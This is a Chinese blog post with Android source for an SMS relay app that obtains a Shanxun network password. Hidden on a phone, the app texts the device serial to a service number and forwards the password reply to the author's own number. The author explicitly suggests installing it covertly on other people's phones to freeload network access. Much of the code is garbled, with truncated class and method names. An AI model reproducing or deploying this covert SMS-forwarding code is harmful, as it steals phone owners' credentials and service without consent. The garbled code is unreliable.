⾮电信⼿机获取闪讯密码的⼀种实现⽅法
打开,输⼊⼿机串号,⼿机串号可以在⼿机主界⾯输⼊*#06#会告诉你的,是MEID 下⾯的,然后它会告诉你要发的短
信“MM|..........",然后发到1065930051就好了。
我的思路是⽤android⼿机的机制,接收到⾃⼰的“移动”⼿机号码,就向1065930051“MM|..........";监听到1065930051的电信⼿机,就向⾃⼰的“移动”⼿机号码发送1065930051的短信内容。
如下是我的实现代码:
我⽤了模式,也就是说只要安装了软件就可以回复短信,再也不⽤担⼼⼿机把软件进程结束掉了(⼿机重启以后也不需要打开软件,照样可以正常⼯作)。当然也可以悄悄装在别⼈⼿机上,偷偷蹭⽹,怎么⽤我不负责。
//SMSReceiver.java
package smsbc.jason.nbu;
import android.app.PendingIntent;
t.BroadcastReceiver;
t.Context;
t.Intent;
import android.os.Bundle;
lephony.gsm.SmsMessage;
lephony.gsm.SmsManager;
import android.widget.Toast;
public class SMSReceiver extends BroadcastReceiver{
public SMSReceiver(){
System.out.println("SMSReceiver");
}
@Override
public void onReceive(Context context, Intent intent) {
// 判断接收到的⼴播是否为收到短信的Broadcast Action
if ("android.provider.Telephony.SMS_RECEIVED".Action())) {
System.out.println("receive message");
Bundle bundle = Extras();
Object myOBJpdus[] = (Object[])("pdus");
SmsMessage message[] = new SmsMessage[myOBJpdus.length];
System.out.println("消息条数:" + message.length);
for (int i = 0; i < myOBJpdus.length; i++) {
message[i] = ateFromPdu((byte[]) myOBJpdus[i]);
String address = message[i].getDisplayOriginatingAddress();
String body = message[i].getDisplayMessageBody();
System.out.println(address);
System.out.println(body);
if (address.equals("159****2540")) {
System.out.println("111: 来信地址为159****2540,已向1065930051。");
String CTaddress = "1065930051";
String CTbody = "MM|0000000000000000";//计算得到的串号
SmsManager smsManager = Default();
PendingIntent mPI = Broadcast(context, 0, new Intent(), 0);
smsManager.sendTextMessage(CTaddress, null, CTbody, mPI, null);
System.out.println("来信地址为159****2540,已向1065930051。");
}
if (address.equals("1065930051")) {
System.out.println("111: 来信地址为1065930051,已向159****2540。");
String MYaddress = "159****2540";
SmsManager smsManager = Default();
PendingIntent mPI = Broadcast(context, 0, new Intent(), 0);
smsManager.sendTextMessage(MYaddress, null, body, mPI, null);
System.out.println("来信地址为1065930051,已向159****2540。");
}
Toast.makeText(context, "短信发送完成", Toast.LENGTH_LONG).show();
}
}
}
}
//SmsBroadcastActivity.java
package smsbc.jason.nbu;
import smsbc.jason.nbu.SMSReceiver;
import android.app.Activity;
import android.os.Bundle;
public class SmsBroadcastActivity extends Activity {
/
** Called when the activity is first created. */
private SMSReceiver smsReceiver = null;
@Override
public void onCreate(Bundle savedInstanceState) {
setContentView(R.layout.main);
smsReceiver = new SMSReceiver();//启动完,可以直接关掉
}
}
//l
<?xml version="1.0" encoding="utf-8"?>
手机密码
<manifest xmlns:android="schemas.android/apk/res/android"
package="smsbc.jason.nbu"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="10" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:name=".SmsBroadcastActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SMSReceiver" android:process=":remote" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<!-- <action android:name="android.intent.action.BOOT_COMPLETED"> --> </intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS"/>
</manifest>
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论